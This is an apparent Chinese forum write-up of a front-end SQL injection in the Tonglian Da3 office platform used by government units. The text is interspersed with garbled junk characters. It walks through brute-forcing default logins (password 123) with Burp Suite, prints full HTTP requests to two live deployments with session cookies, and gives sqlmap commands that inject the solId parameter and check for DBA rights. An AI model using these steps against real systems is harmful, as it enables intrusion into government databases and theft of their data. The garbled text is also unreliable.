同联Da3协同办公平台前台通用sql injection漏洞

admin

W! b/ j$ s. y1 N( f. S7 h" `

' L) v' l y3 E" t4 L

0 q0 c8 s& d" E! Y, C5 O 平台简介：

5 H; x- |9 t" l7 P; R: G# Y

+ G* H& ~6 J1 S! G4 J2 l   , }: H* S( @3 |( W' d7 ^

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
+ w m+ g% j5 Y" m x同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ ! p) P: o0 P, w

 

$ j: g6 `- }2 M$ T4 ^

3 ]& C% [' Q2 y" s3 i0 ? 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

~& b1 u6 K3 Q5 c2 d

 

http://1.1.1.1:7197/cap-aco/#（案例2-）

- m; T# L. n# v1 i# K8 Q

http://www.XXOO.com （案例1-官网网站） 8 U" N9 [1 h ]4 u- f; z1 r+ @

7 {) w' c3 @( w) R: r% _4 M+ |

 

1 { p: T& y3 j( U 漏洞详情:

& O2 ?1 H) L4 b9 ]6 [

 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 : |) J$ S; N; P+ D) @

) _( U+ t# R5 q( ?# B4 @4 y      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： 1 |4 |0 S* J( N. Y

# [2 d& A& O! i7 z m" Q

c- Y# @2 o5 B  

: s8 W6 `$ U0 }" H5 [/ z* R/ @

  + o6 w0 Z% o/ [

. \% k( D1 w! P( y, D1 Y

status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：

1、案例1-官方网站 % ~. v" W5 g5 m; U8 F; d- F5 D* J4 d

GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1 3 u0 k2 b% \9 {& C' a1 k/ `' ]

Host: www.XXOO.com ( j7 e3 C& Q/ E' C5 @ y s" E7 H6 S

Proxy-Connection: Keep-Alive

9 p4 p9 K) w1 V& s3 Q

5 B: M' b9 V) O- h) J2 l9 l8 y Accept: application/json, text/javascript, */*; q=0.01

" T/ F7 c( `4 I" u

Accept-Language: zh-CN 1 r$ Z* q3 Z0 n9 z/ C% C! s

1 @' @* V. y W! d

5 L% F+ h# b/ {& ~- s6 \ Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko 4 U( \ P; R- ?

, V4 @: ?+ m7 M+ W

5 Y6 O7 }# L) Q% ^$ m X-Requested-With: XMLHttpRequest ) g. f |* p7 q/ D$ Z1 o

Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002 1 ~; v$ \7 X6 K3 C( h. I W- C

' F" Q9 ~; i8 H7 ^( w

Accept-Encoding: gzip, deflate, sdch * N3 J2 m( }, O+ _# p! L- T

! K8 j1 o5 P- V: J Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e - b0 F" k+ y1 ^6 b7 ~3 V; N$ y8 g

0 A m f! _4 j 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

 

}3 ~: ?: q/ c0 m. U4 v

  * w2 `% q7 r! w" E8 N7 x0 ^

 

% B9 B7 L! h' H0 b% D. Y

/ z" E/ E3 i0 r! F  

" b) N- x0 h! Z' W4 W% X8 C7 w

2 L4 |: L$ ?3 I   E" N8 a9 t7 _4 ~

2、案例2-某天河云平台 0 J. ]7 {: Q2 D% i

4 i5 @. u- o4 Y; t4 N4 J P GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1

8 U; c( S+ ^: E4 ^; U

Host: 1.1.1.:7197 6 v7 D- @) M, l" p

) ]1 H, [4 u$ m5 ^

# I# f R$ ?6 j8 z1 a0 s Accept: application/json, text/javascript, */*; q=0.01 3 B5 j, b7 u" Q4 O

/ n: k1 {" d. O6 S9 N* M

X-Requested-With: XMLHttpRequest ( ^/ O, m0 s# X; X- d6 ~, J( E

( H$ E+ q" r a; U! k

0 }* [+ M) }$ H. j User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0 % p! e1 N. m+ o" G6 D

Content-Type: application/json ! v! `4 W/ c! G9 q2 \% D

( H* A0 G, @' Q, [1 h& u4 W' M

Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008 ' B( V' U% F G3 n3 \

" T1 y' J" b' s: w9 b& q$ O& U

1 L A5 f0 ^8 p% C& F6 r, ] Accept-Language: zh-CN,zh;q=0.8

+ Y, F6 E4 r/ A, A- \7 y% ]

0 i, v7 m6 \' H9 _. Q Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1

5 S% y: H. d# l/ N( x" r: i Connection: close ! y2 i' J, }; z

# g# I* |3 }) h# r3 m- t; l3 y

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

  1 \0 K* g1 _5 {

1 h# c. K, y3 [

, _ C1 N3 r& U